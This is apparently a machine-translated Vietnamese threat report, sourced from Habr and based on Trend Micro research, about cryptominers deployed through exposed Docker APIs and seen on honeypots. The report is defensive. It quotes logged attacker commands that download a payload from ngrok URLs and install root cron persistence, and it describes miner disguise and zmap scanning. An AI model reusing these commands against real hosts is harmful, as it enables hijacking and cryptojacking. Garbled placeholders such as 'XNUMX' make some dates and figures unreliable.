
Chúng tôi đã phân tích dữ liệu được thu thập bằng cách sử dụng các thùng chứa honeypot mà chúng tôi đã tạo để theo dõi các mối đe dọa. Và chúng tôi đã phát hiện hoạt động đáng kể từ các công cụ khai thác tiền điện tử không mong muốn hoặc trái phép được triển khai dưới dạng vùng chứa lừa đảo bằng cách sử dụng hình ảnh do cộng đồng xuất bản trên Docker Hub. Hình ảnh này được sử dụng như một phần của dịch vụ cung cấp các công cụ khai thác tiền điện tử độc hại.
Ngoài ra, các chương trình làm việc với mạng được cài đặt để xâm nhập vào các ứng dụng và vùng chứa lân cận đang mở.
Chúng tôi để nguyên honeypots của mình, tức là với cài đặt mặc định, không có bất kỳ biện pháp bảo mật nào hoặc cài đặt phần mềm bổ sung sau đó. Xin lưu ý rằng Docker có các đề xuất cho thiết lập ban đầu để tránh lỗi và các lỗ hổng đơn giản. Nhưng honeypot được sử dụng là các container, được thiết kế để phát hiện các cuộc tấn công nhằm vào nền tảng container hóa chứ không phải các ứng dụng bên trong các container.
Hoạt động độc hại được phát hiện cũng đáng chú ý vì nó không yêu cầu lỗ hổng và cũng độc lập với phiên bản Docker. Tìm một hình ảnh vùng chứa được định cấu hình không chính xác và do đó mở, là tất cả những gì kẻ tấn công cần để lây nhiễm vào nhiều máy chủ đang mở.
API Docker không được tiết lộ cho phép người dùng thực hiện một loạt các , bao gồm nhận danh sách các vùng chứa đang chạy, nhận nhật ký từ một vùng chứa cụ thể, bắt đầu, dừng (bao gồm cả bắt buộc) và thậm chí tạo vùng chứa mới từ một hình ảnh cụ thể với các cài đặt được chỉ định.

Bên trái là phương thức phân phối phần mềm độc hại. Bên phải là môi trường của kẻ tấn công, cho phép tung ra hình ảnh từ xa.

Phân phối theo quốc gia của 3762 API Docker mở. Dựa trên tìm kiếm Shodan ngày 12.02.2019/XNUMX/XNUMX
Tùy chọn chuỗi tấn công và tải trọng
Hoạt động độc hại được phát hiện không chỉ nhờ sự trợ giúp của honeypots. Dữ liệu từ Shodan cho thấy số lượng API Docker bị lộ (xem biểu đồ thứ hai) đã tăng lên kể từ khi chúng tôi điều tra một vùng chứa bị định cấu hình sai được sử dụng làm cầu nối để triển khai phần mềm khai thác tiền điện tử Monero. Vào tháng 2018 năm ngoái (XNUMX, dữ liệu hiện tại khoảng người phiên dịch) chỉ có 856 API mở.
Việc kiểm tra nhật ký của honeypot cho thấy việc sử dụng hình ảnh vùng chứa cũng liên quan đến việc sử dụng , một công cụ để thiết lập kết nối an toàn hoặc chuyển tiếp lưu lượng truy cập từ các điểm có thể truy cập công khai đến các địa chỉ hoặc tài nguyên được chỉ định (ví dụ: localhost). Điều này cho phép kẻ tấn công tự động tạo URL khi phân phối tải trọng đến máy chủ mở. Dưới đây là các ví dụ về mã từ nhật ký hiển thị việc lạm dụng dịch vụ ngrok:
Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”
Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,
Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”Như bạn có thể thấy, các tệp đã tải lên được tải xuống từ các URL thay đổi liên tục. Các URL này có ngày hết hạn ngắn nên không thể tải xuống tải trọng sau ngày hết hạn.
Có hai tùy chọn tải trọng. Tùy chọn đầu tiên là một phần mềm khai thác đã được biên dịch ở định dạng ELF dành cho Linux (được xác định là Coinminer.SH.MALXMR.ATNO), kết nối với nhóm khai thác. Thứ hai là một tập lệnh (TrojanSpy.SH.ZNETMAP.A), được thiết kế để lấy một số công cụ mạng được sử dụng để quét phạm vi mạng và sau đó tìm kiếm các mục tiêu mới.
Tập lệnh nhỏ giọt đặt hai biến, sau đó được sử dụng để triển khai công cụ khai thác tiền điện tử. Biến HOST chứa URL nơi chứa các tệp độc hại và biến RIP là tên tệp (trên thực tế là hàm băm) của công cụ khai thác sẽ được triển khai. Biến HOST thay đổi mỗi khi biến băm thay đổi. Tập lệnh cũng cố gắng kiểm tra xem không có công cụ khai thác tiền điện tử nào khác đang chạy trên máy chủ bị tấn công hay không.

Ví dụ về các biến HOST và RIP, cũng như đoạn mã được sử dụng để kiểm tra xem không có công cụ khai thác nào khác đang chạy
Trước khi khởi chạy trình khai thác, nó được đổi tên thành nginx. Các phiên bản khác của kịch bản này sẽ đổi tên trình khai thác thành các dịch vụ hợp pháp khác có thể có trong môi trường. LinuxThông thường, điều này là đủ để bỏ qua các bước kiểm tra danh sách các tiến trình đang chạy.
Tập lệnh tìm kiếm cũng có các tính năng. Nó hoạt động với cùng một dịch vụ URL để triển khai các công cụ cần thiết. Trong số đó có tệp nhị phân zmap, được sử dụng để quét mạng và lấy danh sách các cổng đang mở. Tập lệnh cũng tải một tệp nhị phân khác được sử dụng để tương tác với các dịch vụ được tìm thấy và nhận biểu ngữ từ chúng để xác định thông tin bổ sung về dịch vụ được tìm thấy (ví dụ: phiên bản của dịch vụ đó).
Tập lệnh cũng xác định trước một số phạm vi mạng cần quét, nhưng điều này phụ thuộc vào phiên bản của tập lệnh. Nó cũng đặt các cổng mục tiêu từ các dịch vụ—trong trường hợp này là Docker—trước khi chạy quét.
Khi tìm thấy các mục tiêu tiềm năng, các biểu ngữ sẽ tự động được xóa khỏi chúng. Tập lệnh cũng lọc các mục tiêu dựa trên các dịch vụ, ứng dụng, thành phần hoặc nền tảng mà nó quan tâm: Redis, Jenkins, Drupal, MODX, , Máy khách Docker 1.16 và Apache CouchDB. Nếu máy chủ được quét khớp với bất kỳ máy chủ nào trong số đó, nó sẽ được lưu trong một tệp văn bản mà sau này kẻ tấn công có thể sử dụng để phân tích và hack tiếp theo. Các tệp văn bản này được tải lên máy chủ của kẻ tấn công thông qua các liên kết động. Nghĩa là, một URL riêng được sử dụng cho mỗi tệp, điều đó có nghĩa là việc truy cập tiếp theo sẽ khó khăn.
Vectơ tấn công là hình ảnh Docker, như có thể thấy trong hai đoạn mã tiếp theo.

Ở trên cùng là đổi tên thành dịch vụ hợp pháp và ở dưới cùng là cách sử dụng zmap để quét mạng

Ở trên cùng là các phạm vi mạng được xác định trước, ở dưới cùng là các cổng cụ thể để tìm kiếm dịch vụ, bao gồm cả Docker

Ảnh chụp màn hình cho thấy hình ảnh Alpine Curl đã được tải xuống hơn 10 triệu lần
Dựa trên Alpine Linux và curl, một công cụ dòng lệnh tiết kiệm tài nguyên để truyền tải tập tin qua nhiều giao thức khác nhau, có thể được biên dịch. . Như bạn có thể thấy trong hình ảnh trước, hình ảnh này đã được tải xuống hơn 10 triệu lần. Một số lượng lớn lượt tải xuống có thể có nghĩa là sử dụng hình ảnh này làm điểm truy cập; hình ảnh này đã được cập nhật hơn sáu tháng trước; Trong Docker - một bộ hướng dẫn được sử dụng để định cấu hình vùng chứa để chạy nó. Nếu cài đặt điểm vào không chính xác (ví dụ: vùng chứa được mở từ Internet), hình ảnh có thể được sử dụng làm vectơ tấn công. Những kẻ tấn công có thể sử dụng nó để phân phối tải trọng nếu chúng tìm thấy một thùng chứa bị định cấu hình sai hoặc mở không được hỗ trợ.
Điều quan trọng cần lưu ý là bản thân hình ảnh này (alpine-curl) không độc hại nhưng như bạn có thể thấy ở trên, nó có thể được sử dụng để thực hiện các chức năng độc hại. Hình ảnh Docker tương tự cũng có thể được sử dụng để thực hiện các hoạt động độc hại. Chúng tôi đã liên hệ với Docker và làm việc với họ về vấn đề này.
Khuyến nghị
còn lại đối với nhiều công ty, đặc biệt là những công ty thực hiện , tập trung vào việc phát triển và giao hàng nhanh chóng. Mọi thứ trở nên trầm trọng hơn do nhu cầu tuân thủ các quy tắc kiểm tra và giám sát, nhu cầu giám sát tính bảo mật dữ liệu, cũng như thiệt hại to lớn từ việc họ không tuân thủ. Việc kết hợp tự động hóa bảo mật vào vòng đời phát triển không chỉ giúp bạn tìm ra các lỗ hổng bảo mật có thể không bị phát hiện mà còn giúp bạn giảm khối lượng công việc không cần thiết, chẳng hạn như chạy các bản dựng phần mềm bổ sung cho từng lỗ hổng được phát hiện hoặc cấu hình sai sau khi triển khai ứng dụng.
Sự cố được thảo luận trong bài viết này nêu bật sự cần thiết phải tính đến sự an toàn ngay từ đầu, bao gồm các khuyến nghị sau:
- Đối với quản trị viên và nhà phát triển hệ thống: Luôn kiểm tra cài đặt API của bạn để đảm bảo mọi thứ được định cấu hình để chỉ chấp nhận yêu cầu từ một máy chủ cụ thể hoặc mạng nội bộ.
- Tuân theo nguyên tắc ít quyền nhất: đảm bảo rằng hình ảnh vùng chứa được ký và xác minh, hạn chế quyền truy cập vào các thành phần quan trọng (dịch vụ khởi chạy vùng chứa) và thêm mã hóa vào kết nối mạng.
- Theo dõi và kích hoạt các cơ chế bảo mật, ví dụ: và tích hợp .
- Sử dụng chức năng quét tự động thời gian chạy và hình ảnh để có thêm thông tin về các quy trình đang chạy trong vùng chứa (ví dụ: để phát hiện hành vi giả mạo hoặc tìm kiếm lỗ hổng). Kiểm soát ứng dụng và giám sát tính toàn vẹn giúp theo dõi những thay đổi bất thường đối với máy chủ, tệp và khu vực hệ thống.
Trendmicro giúp các nhóm DevOps xây dựng một cách an toàn, triển khai nhanh chóng và khởi chạy ở mọi nơi. Xu hướng micro Cung cấp khả năng bảo mật mạnh mẽ, hợp lý và tự động trên toàn bộ quy trình DevOps của tổ chức và cung cấp nhiều biện pháp phòng vệ trước mối đe dọa để bảo vệ khối lượng công việc vật lý, ảo và đám mây trong thời gian chạy. Nó cũng bổ sung thêm bảo mật container với и , quét hình ảnh bộ chứa Docker để tìm phần mềm độc hại và lỗ hổng tại bất kỳ điểm nào trong quy trình phát triển nhằm ngăn chặn các mối đe dọa trước khi chúng được triển khai.
Dấu hiệu thỏa hiệp
Băm liên quan:
- 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
- f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)
Trên Các diễn giả thực hành chỉ ra những cài đặt nào cần được thực hiện trước để giảm thiểu khả năng xảy ra hoặc tránh hoàn toàn việc xảy ra tình huống mô tả ở trên. Và vào ngày 19-21 tháng XNUMX tại buổi học chuyên sâu trực tuyến Bạn có thể thảo luận những vấn đề này và những vấn đề bảo mật tương tự với đồng nghiệp và giáo viên thực hành tại bàn tròn, nơi mọi người có thể lên tiếng và lắng nghe những nỗi đau cũng như thành công của những đồng nghiệp giàu kinh nghiệm.
Nguồn: www.habr.com
